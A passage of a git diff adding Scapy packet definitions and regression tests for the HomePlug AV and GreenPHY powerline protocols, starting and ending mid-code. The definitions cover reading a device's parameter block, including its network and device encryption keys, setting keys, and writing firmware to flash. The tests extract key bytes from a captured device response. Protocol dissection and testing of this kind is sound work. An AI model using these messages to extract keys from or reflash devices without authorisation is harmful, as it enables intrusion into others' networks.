pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ExitDefaultEnabled", 0), + lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("RejectDefaultEnabled", 0), + lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ChainingEnabled", 0), + lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("VendorSpecificNMK", + b"\x00" * 16, + 16), + lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("LocalMACAddressLimit", 0), + lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideBridgeTableAgingTime", 0), + lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("LocalBridgeTableAgingTime_min", 0), + lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XShortField("RemoteBridgeTableAgingTime_min", 0), + lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("PhySyncReference", 0), + lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("reserved_23", 0), + lambda pkt:(0x1FE7 >= pkt.__offset and 0x1FE8 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("reserved_24", 0), + lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XIntField("reserved_25", 0), + lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(StrFixedLenField("reserved_26", + b"\x00" * 24, + 24), + lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("OverrideDefaultLedEventBehavior", 0x80), + lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("ReportToHostInfo", 0), + lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(X3BytesField("reserved_27", 0), + lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("NumBehaviors", 0), + lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("BehaviorBlockArrayES", "", BehaviorBlockArray, length_from=lambda x: 1200), # noqa: E501 + lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(XByteField("NumEvents", 0), + lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset + pkt.__length)), # noqa: E501 + ConditionalField(PacketListField("EventBlockArrayES", "", EventBlockArray, length_from=lambda x: 550), # noqa: E501 + lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset + pkt.__length)), # noqa: E501 + ] + + def __init__(self, packet="", offset=0x0, length=0x400): + self.__offset = offset + self.__length = length + return super(ModulePIB, self).__init__(packet) + + +###################################################################### +# Read MAC Memory +##################################################################### + +StartMACCodes = {0x00: "Success"} + + +class StartMACRequest(Packet): + name = "StartMACRequest" + fields_desc = [ByteEnumField("ModuleID", 0x00, StartMACCodes), + X3BytesField("reserver_1", 0x000000), + LEIntField("ImgLoadStartAddr", 0x00000000), + LEIntField("ImgLength", 0x00000000), + LEIntField("ImgCheckSum", 0x00000000), + LEIntField("ImgStartAddr", 0x00000000), + ] + + +class StartMACConfirmation(Packet): + name = "StartMACConfirmation" + fields_desc = [ByteEnumField("Status", 0x00, StartMACCodes), + XByteField("ModuleID", 0x00), + ] + +###################################################################### +# Reset Device +###################################################################### + + +ResetDeviceCodes = {0x00: "Success"} + + +class ResetDeviceRequest(Packet): + name = "ResetDeviceRequest" + fields_desc = [] + + +class ResetDeviceConfirmation(Packet): + name = "ResetDeviceConfirmation" + fields_desc = [ByteEnumField("Status", 0x00, ResetDeviceCodes)] + +###################################################################### +# Read Configuration Block +###################################################################### + + +ReadConfBlockCodes = {0x00: "Success"} + + +class ReadConfBlockRequest(Packet): + name = "ReadConfBlockRequest" + fields_desc = [] + + +CBImgTCodes = {0x00: "Generic Image", + 0x01: "Synopsis configuration", + 0x02: "Denali configuration", + 0x03: "Denali applet", + 0x04: "Runtime firmware", + 0x05: "OAS client", + 0x06: "Custom image", + 0x07: "Memory control applet", + 0x08: "Power management applet", + 0x09: "OAS client IP stack", + 0x0A: "OAS client TR069", + 0x0B: "SoftLoader", + 0x0C: "Flash layout", + 0x0D: "Unknown", + 0x0E: "Chain manifest", + 0x0F: "Runtime parameters", + 0x10: "Custom module in scratch", + 0x11: "Custom module update applet"} + + +class ConfBlock(Packet): + name = "ConfBlock" + fields_desc = [LEIntField("HeaderVersionNum", 0), + LEIntField("ImgAddrNVM", 0), + LEIntField("ImgAddrSDRAM", 0), + LEIntField("ImgLength", 0), + LEIntField("ImgCheckSum", 0), + LEIntField("EntryPoint", 0), + XByteField("HeaderMinVersion", 0x00), + ByteEnumField("HeaderImgType", 0x00, CBImgTCodes), + XShortField("HeaderIgnoreMask", 0x0000), + LEIntField("HeaderModuleID", 0), + LEIntField("HeaderModuleSubID", 0), + LEIntField("AddrNextHeaderNVM", 0), + LEIntField("HeaderChecksum", 0), + LEIntField("SDRAMsize", 0), + LEIntField("SDRAMConfRegister", 0), + LEIntField("SDRAMTimingRegister_0", 0), + LEIntField("SDRAMTimingRegister_1", 0), + LEIntField("SDRAMControlRegister", 0), + LEIntField("SDRAMRefreshRegister", 0), + LEIntField("MACClockRegister", 0), + LEIntField("reserved_1", 0), ] + + +class ReadConfBlockConfirmation(Packet): + name = "ReadConfBlockConfirmation" + fields_desc = [ByteEnumField("Status", 0x00, ReadConfBlockCodes), + FieldLenField("BlockLen", None, count_of="ConfigurationBlock", fmt="B"), # noqa: E501 + PacketListField("ConfigurationBlock", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen)] # noqa: E501 + + +###################################################################### +# Write Module Data to NVM +###################################################################### + +class WriteModuleData2NVMRequest(Packet): + name = "WriteModuleData2NVMRequest" + fields_desc = [ByteEnumField("ModuleID", 0x02, ModuleIDList)] + + +class WriteModuleData2NVMConfirmation(Packet): + name = "WriteModuleData2NVMConfirmation" + fields_desc = [ByteEnumField("Status", 0x0, StatusCodes), + ByteEnumField("ModuleID", 0x02, ModuleIDList)] + +# END # + + +class HomePlugAV(Packet): + """ + HomePlugAV Packet - by default => gets devices information + """ + name = "HomePlugAV " + fields_desc = [MACManagementHeader, + ConditionalField(XShortField("FragmentInfo", 0x0), + FragmentCond), + ConditionalField(PacketListField("VendorField", VendorMME(), + VendorMME, + length_from=lambda x: 3), + lambda pkt:(pkt.version == 0x00))] + + def answers(self, other): + return (isinstance(self, HomePlugAV)) + + +bind_layers(Ether, HomePlugAV, {"type": 0x88e1}) + +# +----------+------------+--------------------+ +# | Ethernet | HomePlugAV | Elements + Payload | +# +----------+------------+--------------------+ +bind_layers(HomePlugAV, GetDeviceVersion, HPtype=0xA001) +bind_layers(HomePlugAV, StartMACRequest, HPtype=0xA00C) +bind_layers(HomePlugAV, StartMACConfirmation, HPtype=0xA00D) +bind_layers(HomePlugAV, ResetDeviceRequest, HPtype=0xA01C) +bind_layers(HomePlugAV, ResetDeviceConfirmation, HPtype=0xA01D) +bind_layers(HomePlugAV, NetworkInformationRequest, HPtype=0xA038) +bind_layers(HomePlugAV, ReadMACMemoryRequest, HPtype=0xA008) +bind_layers(HomePlugAV, ReadMACMemoryConfirmation, HPtype=0xA009) +bind_layers(HomePlugAV, ReadModuleDataRequest, HPtype=0xA024) +bind_layers(HomePlugAV, ReadModuleDataConfirmation, HPtype=0xA025) +bind_layers(HomePlugAV, ModuleOperationRequest, HPtype=0xA0B0) +bind_layers(HomePlugAV, ModuleOperationConfirmation, HPtype=0xA0B1) +bind_layers(HomePlugAV, WriteModuleDataRequest, HPtype=0xA020) +bind_layers(HomePlugAV, WriteModuleData2NVMRequest, HPtype=0xA028) +bind_layers(HomePlugAV, WriteModuleData2NVMConfirmation, HPtype=0xA029) +bind_layers(HomePlugAV, NetworkInfoConfirmationV10, HPtype=0xA039, version=0x00) # noqa: E501 +bind_layers(HomePlugAV, NetworkInfoConfirmationV11, HPtype=0xA039, version=0x01) # noqa: E501 +bind_layers(NetworkInfoConfirmationV10, NetworkInfoV10, HPtype=0xA039, version=0x00) # noqa: E501 +bind_layers(NetworkInfoConfirmationV11, NetworkInfoV11, HPtype=0xA039, version=0x01) # noqa: E501 +bind_layers(HomePlugAV, HostActionRequired, HPtype=0xA062) +bind_layers(HomePlugAV, LoopbackRequest, HPtype=0xA048) +bind_layers(HomePlugAV, LoopbackConfirmation, HPtype=0xA049) +bind_layers(HomePlugAV, SetEncryptionKeyRequest, HPtype=0xA050) +bind_layers(HomePlugAV, SetEncryptionKeyConfirmation, HPtype=0xA051) +bind_layers(HomePlugAV, ReadConfBlockRequest, HPtype=0xA058) +bind_layers(HomePlugAV, ReadConfBlockConfirmation, HPtype=0xA059) +bind_layers(HomePlugAV, QUAResetFactoryConfirm, HPtype=0xA07D) +bind_layers(HomePlugAV, GetNVMParametersRequest, HPtype=0xA010) +bind_layers(HomePlugAV, GetNVMParametersConfirmation, HPtype=0xA011) +bind_layers(HomePlugAV, SnifferRequest, HPtype=0xA034) +bind_layers(HomePlugAV, SnifferConfirmation, HPtype=0xA035) +bind_layers(HomePlugAV, SnifferIndicate, HPtype=0xA036) + +""" + Credit song : "Western Spaguetti - We are terrorists" +""" diff --git a/libs/scapy/contrib/homeplugav.uts b/libs/scapy/contrib/homeplugav.uts new file mode 100755 index 0000000..6e5e0b6 --- /dev/null +++ b/libs/scapy/contrib/homeplugav.uts @@ -0,0 +1,126 @@ +% Regression tests for Scapy + +# HomePlugAV + +############ +############ ++ Basic tests + +* Those test are here mainly to check nothing has been broken + += Building packets packet +~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate + +HomePlugAV() +HomePlugAV()/GetDeviceVersion() +HomePlugAV()/StartMACRequest() +HomePlugAV()/StartMACConfirmation() +HomePlugAV()/ResetDeviceRequest() +HomePlugAV()/ResetDeviceConfirmation() +HomePlugAV()/NetworkInformationRequest() +HomePlugAV()/ReadMACMemoryRequest() +HomePlugAV()/ReadMACMemoryConfirmation() +HomePlugAV()/ReadModuleDataRequest() +HomePlugAV()/ReadModuleDataConfirmation() +HomePlugAV()/WriteModuleDataRequest() +HomePlugAV()/WriteModuleData2NVMRequest() +HomePlugAV()/WriteModuleData2NVMConfirmation() +HomePlugAV()/NetworkInfoConfirmationV10() +HomePlugAV()/NetworkInfoConfirmationV11() +HomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10() +HomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11() +HomePlugAV()/HostActionRequired() +HomePlugAV()/LoopbackRequest() +HomePlugAV()/LoopbackConfirmation() +HomePlugAV()/SetEncryptionKeyRequest() +HomePlugAV()/SetEncryptionKeyConfirmation() +HomePlugAV()/ReadConfBlockRequest() +HomePlugAV()/ReadConfBlockConfirmation() +HomePlugAV()/QUAResetFactoryConfirm() +HomePlugAV()/GetNVMParametersRequest() +HomePlugAV()/GetNVMParametersConfirmation() +HomePlugAV()/SnifferRequest() +HomePlugAV()/SnifferConfirmation() +HomePlugAV()/SnifferIndicate() + += Some important manipulations +~ field +pkt = HomePlugAV()/SetEncryptionKeyRequest() +pkt.NMK = "A" * 16 +pkt.DAK = "B" * 16 +r = raw(pkt) +r +assert r == b"\x00P\xa0\x00\xb0R\x00AAAAAAAAAAAAAAAA\x00\xff\xff\xff\xff\xff\xffBBBBBBBBBBBBBBBB" + +pkt = HomePlugAV()/ReadMACMemoryRequest() +pkt.Address = 0x31337 +pkt.Length = 0x666 +r = raw(pkt) +r +assert r == b"\x00\x08\xa0\x00\xb0R7\x13\x03\x00f\x06\x00\x00" + +pkt = HomePlugAV()/ReadModuleDataRequest() +pkt.Length = 0x666 +pkt.Offset = 0x1337 +r = raw(pkt) +r +assert r == b"\x00$\xa0\x00\xb0R\x02\x00f\x067\x13\x00\x00" + +pkt = HomePlugAV()/SnifferRequest() +pkt.SnifferControl = 0x1 +r = raw(pkt) +r +assert r == b"\x004\xa0\x00\xb0R\x01" + += Some important fields parsing +~ field +_xstr = b"\x00%\xa0\x00\xb0R\x00\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00`\x8d\x05\xf9\x04\x01\x00\x00\x88)\x00\x00\x87`[\x14\x00$\xd4okm\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6\x00\x00603506A112119017\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14637000A112139290\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FREEPLUG_LC_6400_4-1_1.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcb\x0e\x10 \xad\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00`\xe5\x16\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x03\x02\x80\x84\x1e\x00\x80\x84\x1e\x00\xe0\x93\x04\x00\xe0\x93\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +pkt = HomePlugAV(_xstr) +assert ReadModuleDataConfirmation in pkt +assert pkt[ReadModuleDataConfirmation].ModuleID == 2 +assert pkt[ReadModuleDataConfirmation].checksum == 4177890656 +assert pkt[ReadModuleDataConfirmation].DataLen == 1024 +assert pkt[ReadModuleDataConfirmation].Offset == 0 + +p = ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen) +assert p.NMK == b"z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14" +assert p.DAK == b"\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6" + +#= Discovery packet tests in local +#~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 +#pkt = Ether()/HomePlugAV() +#old_debug_dissector = conf.debug_dissector +#conf.debug_dissector = False +#a = srp1(pkt, iface="eth0") +#conf.debug_dissector = old_debug_dissector +#a +#pkt.version = a.version +#pkt /= NetworkInformationRequest() +#old_debug_dissector = conf.debug_dissector +#conf.debug_dissector = False +#a = srp1(pkt, iface="eth0") +#conf.debug_dissector = old_debug_dissector +#NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a +#_ == True + +#= Reading local 0x400st octets of Software Image in Module Data blocks +#~ netaccess HomePlugAV ReadModuleDataRequest +#pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1) +#old_debug_dissector = conf.debug_dissector +#conf.debug_dissector = False +#a = srp1(pkt, iface="eth0") +#conf.debug_dissector = old_debug_dissector +#a +#len(a.ModuleData) == pkt.Length +#_ == True + += Testing length and checksum on a generated Write Module Data Request +string = b"goodchoucroute\x00\x00" +pkt = WriteModuleDataRequest(ModuleData=string) +pkt = WriteModuleDataRequest(pkt.build()) +pkt.show() +a = pkt.checksum == chksum32(pkt.ModuleData) +b = pkt.DataLen == len(pkt.ModuleData) +a, b +assert a and b diff --git a/libs/scapy/contrib/homepluggp.py b/libs/scapy/contrib/homepluggp.py new file mode 100755 index 0000000..b074c27 --- /dev/null +++ b/libs/scapy/contrib/homepluggp.py @@ -0,0 +1,242 @@ +#! /usr/bin/env python + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = HomePlugGP Layer +# scapy.contrib.status = loads + +from __future__ import absolute_import + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, FieldLenField, \ + MACField, PacketListField, ShortField, \ + StrFixedLenField, XIntField, PacketField \ + +# This layer extends HomePlug AV one +from scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList + +# Copyright (C) HomePlugGP Layer for Scapy by FlUxIuS (Sebastien Dudek) +# As HomePlug GreenPHY is a subset of HomePlug AV, that is why we use +# HomePlugAV layer as a base here. + +HomePlugGPTypes = {0x6008: "CM_SET_KEY_REQ", + 0x6009: "CM_SET_KEY_CNF", + 0x6064: "CM_SLAC_PARM_REQ", + 0x6065: "CM_SLAC_PARM_CNF", + 0x606e: "CM_ATTEN_CHAR_IN", + 0x606a: "CM_START_ATTEN_CHAR_IND", + 0x606f: "CM_ATTEN_CHAR_RSP", + 0x6076: "CM_MNBC_SOUND_IND", + 0x607c: "CM_SLAC_MATCH_REQ", + 0x607d: "CM_SLAC_MATCH_CNF", + 0x6086: "CM_ATTENUATION_CHARACTERISTICS_MME"} + +QualcommTypeList.update(HomePlugGPTypes) + +HPGP_codes = {0x0: "Success"} + +KeyType_list = {0x01: "NMK (AES-128)"} + +###################################################################### +# SLAC operations +###################################################################### + + +class CM_SLAC_PARM_REQ(Packet): + name = "CM_SLAC_PARM_REQ" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + StrFixedLenField("RunID", b"\x00" * 8, 8)] + + +class CM_SLAC_PARM_CNF(Packet): + name = "CM_SLAC_PARM_CNF" + fields_desc = [MACField("MSoundTargetMAC", "00:00:00:00:00:00"), + ByteField("NumberMSounds", 0x0), + ByteField("TimeOut", 0x0), + ByteField("ResponseType", 0x0), + MACField("ForwardingSTA", "00:00:00:00:00:00"), + ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + StrFixedLenField("RunID", b"\x00" * 8, 8)] + + +class HPGP_GROUP(Packet): + name = "HPGP_GROUP" + fields_desc = [ByteField("group", 0x0)] + + def extract_padding(self, p): + return "", p + + +class VS_ATTENUATION_CHARACTERISTICS_MME(Packet): + name = "VS_ATTENUATION_CHARACTERISTICS_MME" + fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), + FieldLenField("NumberOfGroups", None, + count_of="Groups", fmt="B"), + ByteField("NumberOfCarrierPerGroupe", 0), + StrFixedLenField("Reserved", b"\x00" * 7, 7), + PacketListField("Groups", "", HPGP_GROUP, + length_from=lambda pkt: pkt.NumberOfGroups)] + + +class CM_ATTENUATION_CHARACTERISTICS_MME(Packet): + name = "CM_ATTENUATION_CHARACTERISTICS_MME" + fields_desc = [MACField("EVMACAddress", "00:00:00:00:00:00"), + FieldLenField("NumberOfGroups", None, count_of="Groups", + fmt="B"), + ByteField("NumberOfCarrierPerGroupe", 0), + PacketListField("Groups", "", HPGP_GROUP, + length_from=lambda pkt: pkt.NumberOfGroups)] + + +class CM_ATTEN_CHAR_IND(Packet): + name = "CM_ATTEN_CHAR_IND" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + MACField("SourceAdress", "00:00:00:00:00:00"), + StrFixedLenField("RunID", b"\x00" * 8, 8), + StrFixedLenField("SourceID", b"\x00" * 17, 17), + StrFixedLenField("ResponseID", b"\x00" * 17, 17), + ByteField("NumberOfSounds", 0x0), + FieldLenField("NumberOfGroups", None, count_of="Groups", + fmt="B"), + PacketListField("Groups", "", HPGP_GROUP, + length_from=lambda pkt: pkt.NumberOfGroups)] + + +class CM_ATTEN_CHAR_RSP(Packet): + name = "CM_ATTEN_CHAR_RSP" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + MACField("SourceAdress", "00:00:00:00:00:00"), + StrFixedLenField("RunID", b"\x00" * 8, 8), + StrFixedLenField("SourceID", b"\x00" * 17, 17), + StrFixedLenField("ResponseID", b"\x00" * 17, 17), + ByteEnumField("Result", 0x0, HPGP_codes)] + + +class SLAC_varfield(Packet): + name = "SLAC_varfield" + fields_desc = [StrFixedLenField("EVID", b"\x00" * 17, 17), + MACField("EVMAC", "00:00:00:00:00:00"), + StrFixedLenField("EVSEID", b"\x00" * 17, 17), + MACField("EVSEMAC", "00:00:00:00:00:00"), + StrFixedLenField("RunID", b"\x00" * 8, 8), + StrFixedLenField("RSVD", b"\x00" * 8, 8)] + + +class CM_SLAC_MATCH_REQ(Packet): + name = "CM_SLAC_MATCH_REQ" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + FieldLenField("MatchVariableFieldLen", None, + count_of="VariableField", fmt="H"), + PacketField("VariableField", + SLAC_varfield(), + SLAC_varfield)] + + +class SLAC_varfield_cnf(Packet): + name = "SLAC_varfield" + fields_desc = [StrFixedLenField("EVID", b"\x00" * 17, 17), + MACField("EVMAC", "00:00:00:00:00:00"), + StrFixedLenField("EVSEID", b"\x00" * 17, 17), + MACField("EVSEMAC", "00:00:00:00:00:00"), + StrFixedLenField("RunID", b"\x00" * 8, 8), + StrFixedLenField("RSVD", b"\x00" * 8, 8), + StrFixedLenField("NetworkID", b"\x00" * 7, 7), + ByteField("Reserved", 0x0), + StrFixedLenField("NMK", b"\x00" * 16, 16)] + + +class CM_SLAC_MATCH_CNF(Packet): + name = "CM_SLAC_MATCH_CNF" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + FieldLenField("MatchVariableFieldLen", None, + count_of="VariableField", fmt="H"), + PacketField("VariableField", + SLAC_varfield_cnf(), + SLAC_varfield_cnf)] + + +class CM_START_ATTEN_CHAR_IND(Packet): + name = "CM_START_ATTEN_CHAR_IND" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + ByteField("NumberOfSounds", 0x0), + ByteField("TimeOut", 0x0), + ByteField("ResponseType", 0x0), + MACField("ForwardingSTA", "00:00:00:00:00:00"), + StrFixedLenField("RunID", b"\x00" * 8, 8)] + + +class CM_MNBC_SOUND_IND(Packet): + name = "CM_MNBC_SOUND_IND" + fields_desc = [ByteField("ApplicationType", 0x0), + ByteField("SecurityType", 0x0), + StrFixedLenField("SenderID", b"\x00" * 17, 17), + ByteField("Countdown", 0x0), + StrFixedLenField("RunID", b"\x00" * 8, 8), + StrFixedLenField("RSVD", b"\x00" * 8, 8), + StrFixedLenField("RandomValue", b"\x00" * 16, 16)] + + +###################################################################### +# Set keys for GP +###################################################################### + + +class CM_SET_KEY_REQ(Packet): + name = "CM_SET_KEY_REQ" + fields_desc = [ByteEnumField("KeyType", 0x0, KeyType_list), + XIntField("MyNonce", 0), + XIntField("YourNonce", 0), + ByteField("PID", 0), + ShortField("ProtoRunNumber", 0), + ByteField("ProtoMessNumber", 0), + ByteField("CCoCapability", 0), + StrFixedLenField("NetworkID", b"\x00" * 7, 7), + ByteField("NewEncKeySelect", 0), + StrFixedLenField("NewKey", b"\x00" * 16, 16)] + + +class CM_SET_KEY_CNF(Packet): + name = "CM_SET_KEY_CNF" + fields_desc = [ByteEnumField("Result", 0x0, HPGP_codes), + XIntField("MyNonce", 0), + XIntField("YourNonce", 0), + ByteField("PID", 0), + ShortField("ProtoRunNumber", 0), + ByteField("ProtoMessNumber", 0), + ByteField("CCoCapability", 0)] + + +# END # + + +bind_layers(HomePlugAV, VS_ATTENUATION_CHARACTERISTICS_MME, HPtype=0xA14E) +bind_layers(HomePlugAV, CM_SLAC_PARM_REQ, HPtype=0x6064) +bind_layers(HomePlugAV, CM_SLAC_PARM_CNF, HPtype=0x6065) +bind_layers(HomePlugAV, 